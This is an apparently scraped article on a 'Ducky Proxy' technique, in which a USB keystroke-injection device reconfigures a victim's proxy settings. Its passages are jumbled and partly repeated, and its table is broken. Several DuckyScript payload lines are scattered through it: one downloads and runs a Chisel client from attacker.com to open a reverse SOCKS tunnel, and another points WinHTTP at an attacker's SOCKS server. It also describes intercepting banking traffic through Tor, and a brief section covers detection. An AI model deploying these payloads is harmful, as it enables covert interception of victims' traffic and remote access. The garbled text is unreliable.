Ducky Proxy -

REM Cleanup: Hide the windows STRING exit ENTER Modern implementations use Flipper Zero or ESP32-S2 based "BadUSBs" to inject not just a proxy, but a full proxy chain. For example, the script sets up a local proxy on the victim (127.0.0.1:8080) that chains to Tor, then to a VPS. The result: The victim’s banking traffic appears to come from a Tor exit node while the attacker stays hidden. Detection and Mitigation: Defending Against Ducky Proxy Attacks For Blue Teams, the Ducky Proxy attack is difficult to detect because it abuses legitimate administrative tools ( netsh , reg.exe , powershell ). However, prevention is possible. 1. Endpoint Detection (EDR Rules) Monitor for rapid-fire keystroke injection anomalies. A normal user types 40-60 WPM. A Rubber Ducky types 1000+ WPM. Modern EDR (CrowdStrike, SentinelOne) can detect HID flood patterns.

REM Optional: Download and run a stunnel or Chisel client for encrypted proxy STRING powershell Invoke-WebRequest -Uri "http://attacker.com/chisel.exe" -OutFile "$env:temp\chisel.exe" ENTER DELAY 1000 STRING $env:temp\chisel.exe client attacker.com:8000 R:socks ENTER ducky proxy

| Feature | Standard USB Ducky | Ducky Proxy Technique | | :--- | :--- | :--- | | | Requires physical return or upload to a public pastebin | Real-time via proxy logs | | Persistence | One-time payload | Continuous traffic interception | | Anonymity | Victim’s IP is exposed to the internet | Attacker hides behind victim’s IP | | Post-Exploitation | Hard to modify script after execution | Attacker can change proxy rules live | REM Cleanup: Hide the windows STRING exit ENTER

In the evolving landscape of cybersecurity, the line between physical penetration testing and remote exploitation is blurring. Two tools have traditionally existed in separate domains: the USB Rubber Ducky (a keystroke injection tool) and the Proxy server (an anonymity or pivoting tool). Enter the concept of the Ducky Proxy —a hybrid technique that leverages programmable HID (Human Interface Device) attacks to configure, deploy, or bypass network proxies. how it works

REM Configure WinHTTP Proxy to attacker's SOCKS server (Listens on 127.0.0.1:9050 after SSH) STRING netsh winhttp set proxy proxy-server="socks=192.168.1.50:1080" bypass-list="*.local" ENTER DELAY 500

This article dissects what a Ducky Proxy is, how it works, its legitimate uses in penetration testing, and the defensive measures required to stop it. The term "Ducky Proxy" is not a single commercial product but rather a technique or scripted attack methodology . It refers to the use of a USB keystroke injection tool (like a Rubber Ducky, Digispark, or Flipper Zero) to automate the configuration of a device's proxy settings.